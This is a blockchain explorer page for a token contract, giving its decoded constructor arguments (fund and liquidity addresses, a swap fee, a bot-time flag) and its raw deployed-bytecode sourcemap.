0000000000000000000000000c5afe8b94eb98a39fe7a33a7a0a86b7fa4b66db000000000000000000000000b1dffb8cb81822cf3b7a5acad45de552e7ac5b1800000000000000000000000000000000000000000000000000000000000000280000000000000000000000000000000000000000000000000000000000000001
-----Decoded View---------------
Arg [0] : _fund (address): 0x0c5aFe8b94eb98A39Fe7A33A7A0a86B7fa4b66db
Arg [1] : _liqManage (address): 0xb1dffB8Cb81822Cf3b7a5aCaD45de552E7ac5B18
Arg [2] : _swapFee (uint256): 40
Arg [3] : _botTime (bool): True
-----Encoded View---------------
4 Constructor Arguments found :
Arg [0] : 0000000000000000000000000c5afe8b94eb98a39fe7a33a7a0a86b7fa4b66db
Arg [1] : 000000000000000000000000b1dffb8cb81822cf3b7a5acad45de552e7ac5b18
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000028
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000001
Deployed Bytecode Sourcemap
2681:6097:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4462:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5225:159;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;5225:159:0;1004:187:1;4666:100:0;4746:12;;4666:100;;;1342:25:1;;;1330:2;1315:18;4666:100:0;1196:177:1;8385:188:0;;;;;;:::i;:::-;;:::i;:::-;;5392:336;;;;;;:::i;:::-;;:::i;8581:192::-;;;;;;:::i;:::-;;:::i;4564:94::-;4641:9;;4564:94;;4641:9;;;;3819:36:1;;3807:2;3792:18;4564:94:0;3677:184:1;3155:35:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;2946:22;;;;;;3357:77;;;;;-1:-1:-1;;;;;3357:77:0;;;;;;-1:-1:-1;;;;;4221:32:1;;;4203:51;;4191:2;4176:18;3357:77:0;4057:203:1;4774:119:0;;;;;;:::i;:::-;-1:-1:-1;;;;;4867:18:0;4840:7;4867:18;;;:9;:18;;;;;;;4774:119;2304:148;;;:::i;3274:76::-;;;;;-1:-1:-1;;;;;3274:76:0;;;3241:24;;;;;-1:-1:-1;;;;;3241:24:0;;;2118:79;2156:7;2183:6;-1:-1:-1;;;;;2183:6:0;2118:79;;4356:98;;;:::i;3516:19::-;;;;;-1:-1:-1;;;;;3516:19:0;;;4901:165;;;;;;:::i;:::-;;:::i;3442:64::-;;;;;-1:-1:-1;;;;;3442:64:0;;;3215:19;;;;;-1:-1:-1;;;;;3215:19:0;;;2898:41;;-1:-1:-1;;2898:41:0;;5074:143;;;;;;:::i;:::-;-1:-1:-1;;;;;5182:18:0;;;5155:7;5182:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5074:143;2975:33;;;;;;2460:214;;;;;;:::i;:::-;;:::i;4462:94::-;4510:13;4543:5;4536:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4462:94;:::o;5225:159::-;5300:4;5317:37;5326:10;5338:7;5347:6;5317:8;:37::i;:::-;-1:-1:-1;5372:4:0;5225:159;;;;;:::o;8385:188::-;2245:6;;-1:-1:-1;;;;;2245:6:0;2255:10;2245:20;2237:39;;;;-1:-1:-1;;;2237:39:0;;;;;;;:::i;:::-;;;;;;;;;8477:9:::1;8473:93;8491:9;:16;8489:1;:18;8473:93;;;8547:7;8527:3;:17;8531:9;8541:1;8531:12;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;8527:17:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;8527:17:0;:27;;-1:-1:-1;;8527:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8508:3;::::1;::::0;::::1;:::i;:::-;;;;8473:93;;;;8385:188:::0;;:::o;5392:336::-;5490:4;5507:36;5517:6;5525:9;5536:6;5507:9;:36::i;:::-;-1:-1:-1;;;;;5558:19:0;;2937:1;5558:19;;;:11;:19;;;;;;;;5578:10;5558:31;;;;;;;;-1:-1:-1;;5558:38:0;5554:145;;-1:-1:-1;;;;;5647:19:0;;;;;;:11;:19;;;;;;;;5667:10;5647:31;;;;;;;;:40;;5681:6;;5647:40;:::i;:::-;-1:-1:-1;;;;;5613:19:0;;;;;;:11;:19;;;;;;;;5633:10;5613:31;;;;;;;:74;5554:145;-1:-1:-1;5716:4:0;5392:336;;;;;:::o;8581:192::-;2245:6;;-1:-1:-1;;;;;2245:6:0;2255:10;2245:20;2237:39;;;;-1:-1:-1;;;2237:39:0;;;;;;;:::i;:::-;8682:18:::1;:29:::0;;;;8722:7:::1;:14:::0;8747:7:::1;:18:::0;;;::::1;;-1:-1:-1::0;;;8747:18:0::1;-1:-1:-1::0;;;;8747:18:0;;::::1;::::0;;;::::1;::::0;;8581:192::o;2304:148::-;2245:6;;-1:-1:-1;;;;;2245:6:0;2255:10;2245:20;2237:39;;;;-1:-1:-1;;;2237:39:0;;;;;;;:::i;:::-;2411:1:::1;2395:6:::0;;2374:40:::1;::::0;-1:-1:-1;;;;;2395:6:0;;::::1;::::0;2374:40:::1;::::0;2411:1;;2374:40:::1;2442:1;2425:19:::0;;-1:-1:-1;;;;;;2425:19:0::1;::::0;;2304:148::o;4356:98::-;4406:13;4439:7;4432:14;;;;;:::i;4901:165::-;4979:4;4996:40;5006:10;5018:9;5029:6;4996:9;:40::i;2460:214::-;2245:6;;-1:-1:-1;;;;;2245:6:0;2255:10;2245:20;2237:39;;;;-1:-1:-1;;;2237:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2549:22:0;::::1;2541:43;;;::::0;-1:-1:-1;;;2541:43:0;;5988:2:1;2541:43:0::1;::::0;::::1;5970:21:1::0;6027:1;6007:18;;;6000:29;-1:-1:-1;;;6045:18:1;;;6038:38;6093:18;;2541:43:0::1;5786:331:1::0;2541:43:0::1;2621:6;::::0;;2600:38:::1;::::0;-1:-1:-1;;;;;2600:38:0;;::::1;::::0;2621:6;::::1;::::0;2600:38:::1;::::0;::::1;2649:6;:17:::0;;-1:-1:-1;;;;;;2649:17:0::1;-1:-1:-1::0;;;;;2649:17:0;;;::::1;::::0;;;::::1;::::0;;2460:214::o;5736:177::-;-1:-1:-1;;;;;5821:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5873:32;;1342:25:1;;;5873:32:0;;1315:18:1;5873:32:0;;;;;;;5736:177;;;:::o;5931:1575::-;-1:-1:-1;;;;;6053:9:0;;;;;;:3;:9;;;;;;;;6052:10;6044:25;;;;-1:-1:-1;;;6044:25:0;;6324:2:1;6044:25:0;;;6306:21:1;6363:1;6343:18;;;6336:29;-1:-1:-1;;;6381:18:1;;;6374:33;6424:18;;6044:25:0;6122:326:1;6044:25:0;6096:2;-1:-1:-1;;;;;6088:10:0;:4;-1:-1:-1;;;;;6088:10:0;;6080:26;;;;-1:-1:-1;;;6080:26:0;;;;;;6655:2:1;6637:21;;;6694:1;6674:18;;;6667:29;-1:-1:-1;;;6727:2:1;6712:18;;6705:34;6771:2;6756:18;;6453:327;6080:26:0;6133:1;6125:6;:9;6117:26;;;;-1:-1:-1;;;6117:26:0;;;;;;6987:2:1;6969:21;;;7026:1;7006:18;;;6999:29;-1:-1:-1;;;7059:2:1;7044:18;;7037:34;7103:2;7088:18;;6785:327;6117:26:0;-1:-1:-1;;;;;6172:15:0;;6154;6172;;;:9;:15;;;;;;6206:17;;;;6198:48;;;;-1:-1:-1;;;6198:48:0;;7319:2:1;6198:48:0;;;7301:21:1;7358:2;7338:18;;;7331:30;-1:-1:-1;;;7377:18:1;;;7370:48;7435:18;;6198:48:0;7117:342:1;6198:48:0;-1:-1:-1;;;;;6275:15:0;;;;;;:9;:15;;;;;;:24;;6293:6;;6275:24;:::i;:::-;-1:-1:-1;;;;;6257:15:0;;;;;;:9;:15;;;;;:42;6315:6;;-1:-1:-1;;;6315:6:0;;;;6312:127;;;-1:-1:-1;;;;;6338:13:0;;;;;;:9;:13;;;;;:22;;6354:6;;6338:13;:22;;6354:6;;6338:22;:::i;:::-;;;;;;;;6395:2;-1:-1:-1;;;;;6380:26:0;6389:4;-1:-1:-1;;;;;6380:26:0;;6399:6;6380:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;6380:26:0;;;;;;;;6421:7;5931:1575;;;:::o;6312:127::-;6462:4;;-1:-1:-1;;;;;6462:4:0;4840:7;4867:18;;;:9;:18;;;;;;6452:19;:40;;;;-1:-1:-1;6483:9:0;;-1:-1:-1;;;;;6475:17:0;;;6483:9;;6475:17;6452:40;:54;;;;-1:-1:-1;6502:4:0;;-1:-1:-1;;;;;6496:10:0;;;6502:4;;6496:10;6452:54;6449:174;;;-1:-1:-1;;;;;6522:13:0;;;;;;:9;:13;;;;;:22;;6538:6;;6522:13;:22;;6538:6;;6522:22;:::i;6449:174::-;6636:7;;-1:-1:-1;;;6636:7:0;;;;:23;;;;-1:-1:-1;6655:4:0;;-1:-1:-1;;;;;6647:12:0;;;6655:4;;6647:12;6636:23;6633:67;;;-1:-1:-1;;;;;6675:7:0;;;;;;:3;:7;;;;;:13;;-1:-1:-1;;6675:13:0;6684:4;6675:13;;;6633:67;6788:4;;6732:6;;6710:19;;-1:-1:-1;;;;;6780:12:0;;;6788:4;;6780:12;;:26;;-1:-1:-1;6802:4:0;;-1:-1:-1;;;;;6796:10:0;;;6802:4;;6796:10;6780:26;6777:302;;;6850:3;6842:7;;6834:6;:15;;;;:::i;:::-;:19;;;;:::i;:::-;6822:31;-1:-1:-1;6882:18:0;6822:31;6882:6;:18;:::i;:::-;6868:32;-1:-1:-1;6920:11:0;;6917:151;;6969:4;6951:24;;;;:9;:24;;;;;:36;;6978:9;;6951:24;:36;;6978:9;;6951:36;:::i;:::-;;;;-1:-1:-1;;7011:40:0;;1342:25:1;;;7034:4:0;;-1:-1:-1;;;;;7011:40:0;;;;;1330:2:1;1315:18;7011:40:0;;;;;;;6917:151;7138:4;7089:28;4867:18;;;:9;:18;;;;;;7207;;7183:42;;;;;;;7254:43;;-1:-1:-1;7291:6:0;;-1:-1:-1;;;7291:6:0;;;;7290:7;7254:43;:70;;;;-1:-1:-1;7320:4:0;;-1:-1:-1;;;;;7314:10:0;;;7320:4;;7314:10;7254:70;7236:156;;;7350:30;7361:18;;7350:10;:30::i;:::-;-1:-1:-1;;;;;7404:13:0;;;;;;:9;:13;;;;;:27;;7420:11;;7404:13;:27;;7420:11;;7404:27;:::i;:::-;;;;;;;;7462:2;-1:-1:-1;;;;;7447:31:0;7456:4;-1:-1:-1;;;;;7447:31:0;;7466:11;7447:31;;;;1342:25:1;;1330:2;1315:18;;1196:177;7447:31:0;;;;;;;;7492:7;;;;;5931:1575;;;:::o;7514:510::-;7582:6;;-1:-1:-1;;;7582:6:0;;;;7581:7;7573:25;;;;-1:-1:-1;;;7573:25:0;;8191:2:1;7573:25:0;;;8173:21:1;8230:1;8210:18;;;8203:29;-1:-1:-1;;;8248:18:1;;;8241:36;8294:18;;7573:25:0;7989:329:1;7573:25:0;7609:6;:12;;-1:-1:-1;;;;7609:12:0;-1:-1:-1;;;7609:12:0;;;7705:17;;7675:60;;-1:-1:-1;;;7675:60:0;;-1:-1:-1;;;;;7705:17:0;;;7675:60;;;8497:51:1;8564:18;;;8557:34;;;;;7690:4:0;;7675:29;;8470:18:1;;7675:60:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;7770:16:0;;;7784:1;7770:16;;;;;;;;7746:21;;7770:16;;;;;;;;;;-1:-1:-1;7770:16:0;7746:40;;7815:4;7797;7802:1;7797:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7797:23:0;;;:7;;;;;;;;;:23;7841:4;;7831:7;;7841:4;;;7831;;7841;;7831:7;;;;;;:::i;:::-;-1:-1:-1;;;;;7831:14:0;;;:7;;;;;;;;;:14;7875:17;;7966:4;;7875:17;;;;7856:88;;7945:10;;7875:17;;7960:4;;7966;7972:19;:15;7988:3;7972:19;:::i;:::-;7856:136;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;8003:6:0;:13;;-1:-1:-1;;;;8003:13:0;;;-1:-1:-1;;;;;7514:510:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:127::-;1439:10;1434:3;1430:20;1427:1;1420:31;1470:4;1467:1;1460:15;1494:4;1491:1;1484:15;1510:118;1596:5;1589:13;1582:21;1575:5;1572:32;1562:60;;1618:1;1615;1608:12;1562:60;1510:118;:::o;1633:128::-;1698:20;;1727:28;1698:20;1727:28;:::i;1766:1191::-;1856:6;1864;1917:2;1905:9;1896:7;1892:23;1888:32;1885:52;;;1933:1;1930;1923:12;1885:52;1973:9;1960:23;2002:18;2043:2;2035:6;2032:14;2029:34;;;2059:1;2056;2049:12;2029:34;2097:6;2086:9;2082:22;2072:32;;2142:7;2135:4;2131:2;2127:13;2123:27;2113:55;;2164:1;2161;2154:12;2113:55;2200:2;2187:16;2222:4;2245:2;2241;2238:10;2235:36;;;2251:18;;:::i;:::-;2297:2;2294:1;2290:10;2329:2;2323:9;2392:2;2388:7;2383:2;2379;2375:11;2371:25;2363:6;2359:38;2447:6;2435:10;2432:22;2427:2;2415:10;2412:18;2409:46;2406:72;;;2458:18;;:::i;:::-;2494:2;2487:22;2544:18;;;2578:15;;;;-1:-1:-1;2620:11:1;;;2616:20;;;2648:19;;;2645:39;;;2680:1;2677;2670:12;2645:39;2704:11;;;;2724:148;2740:6;2735:3;2732:15;2724:148;;;2806:23;2825:3;2806:23;:::i;:::-;2794:36;;2757:12;;;;2850;;;;2724:148;;;2891:6;-1:-1:-1;2916:35:1;;-1:-1:-1;2932:18:1;;;2916:35;:::i;:::-;2906:45;;;;;;1766:1191;;;;;:::o;2962:328::-;3039:6;3047;3055;3108:2;3096:9;3087:7;3083:23;3079:32;3076:52;;;3124:1;3121;3114:12;3076:52;3147:29;3166:9;3147:29;:::i;:::-;3137:39;;3195:38;3229:2;3218:9;3214:18;3195:38;:::i;:::-;3185:48;;3280:2;3269:9;3265:18;3252:32;3242:42;;2962:328;;;;;:::o;3295:377::-;3369:6;3377;3385;3438:2;3426:9;3417:7;3413:23;3409:32;3406:52;;;3454:1;3451;3444:12;3406:52;3490:9;3477:23;3467:33;;3547:2;3536:9;3532:18;3519:32;3509:42;;3601:2;3590:9;3586:18;3573:32;3614:28;3636:5;3614:28;:::i;:::-;3661:5;3651:15;;;3295:377;;;;;:::o;3866:186::-;3925:6;3978:2;3966:9;3957:7;3953:23;3949:32;3946:52;;;3994:1;3991;3984:12;3946:52;4017:29;4036:9;4017:29;:::i;:::-;4007:39;3866:186;-1:-1:-1;;;3866:186:1:o;4265:260::-;4333:6;4341;4394:2;4382:9;4373:7;4369:23;4365:32;4362:52;;;4410:1;4407;4400:12;4362:52;4433:29;4452:9;4433:29;:::i;:::-;4423:39;;4481:38;4515:2;4504:9;4500:18;4481:38;:::i;:::-;4471:48;;4265:260;;;;;:::o;4530:380::-;4609:1;4605:12;;;;4652;;;4673:61;;4727:4;4719:6;4715:17;4705:27;;4673:61;4780:2;4772:6;4769:14;4749:18;4746:38;4743:161;;4826:10;4821:3;4817:20;4814:1;4807:31;4861:4;4858:1;4851:15;4889:4;4886:1;4879:15;4743:161;;4530:380;;;:::o;4915:329::-;5117:2;5099:21;;;5156:1;5136:18;;;5129:29;-1:-1:-1;;;5189:2:1;5174:18;;5167:36;5235:2;5220:18;;4915:329::o;5249:127::-;5310:10;5305:3;5301:20;5298:1;5291:31;5341:4;5338:1;5331:15;5365:4;5362:1;5355:15;5381:127;5442:10;5437:3;5433:20;5430:1;5423:31;5473:4;5470:1;5463:15;5497:4;5494:1;5487:15;5513:135;5552:3;5573:17;;;5570:43;;5593:18;;:::i;:::-;-1:-1:-1;5640:1:1;5629:13;;5513:135::o;5653:128::-;5720:9;;;5741:11;;;5738:37;;;5755:18;;:::i;7464:125::-;7529:9;;;7550:10;;;7547:36;;;7563:18;;:::i;7594:168::-;7667:9;;;7698;;7715:15;;;7709:22;;7695:37;7685:71;;7736:18;;:::i;7767:217::-;7807:1;7833;7823:132;;7877:10;7872:3;7868:20;7865:1;7858:31;7912:4;7909:1;7902:15;7940:4;7937:1;7930:15;7823:132;-1:-1:-1;7969:9:1;;7767:217::o;8602:245::-;8669:6;8722:2;8710:9;8701:7;8697:23;8693:32;8690:52;;;8738:1;8735;8728:12;8690:52;8770:9;8764:16;8789:28;8811:5;8789:28;:::i;8852:980::-;9114:4;9162:3;9151:9;9147:19;9193:6;9182:9;9175:25;9219:2;9257:6;9252:2;9241:9;9237:18;9230:34;9300:3;9295:2;9284:9;9280:18;9273:31;9324:6;9359;9353:13;9390:6;9382;9375:22;9428:3;9417:9;9413:19;9406:26;;9467:2;9459:6;9455:15;9441:29;;9488:1;9498:195;9512:6;9509:1;9506:13;9498:195;;;9577:13;;-1:-1:-1;;;;;9573:39:1;9561:52;;9668:15;;;;9633:12;;;;9609:1;9527:9;9498:195;;;-1:-1:-1;;;;;;;9749:32:1;;;;9744:2;9729:18;;9722:60;-1:-1:-1;;;9813:3:1;9798:19;9791:35;9710:3;8852:980;-1:-1:-1;;;8852:980:1:o
Swarm Source
ipfs://f664fe90126a6f9205082d90ce8c49b683eabd3bf1409dbda32698126dc41a6d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.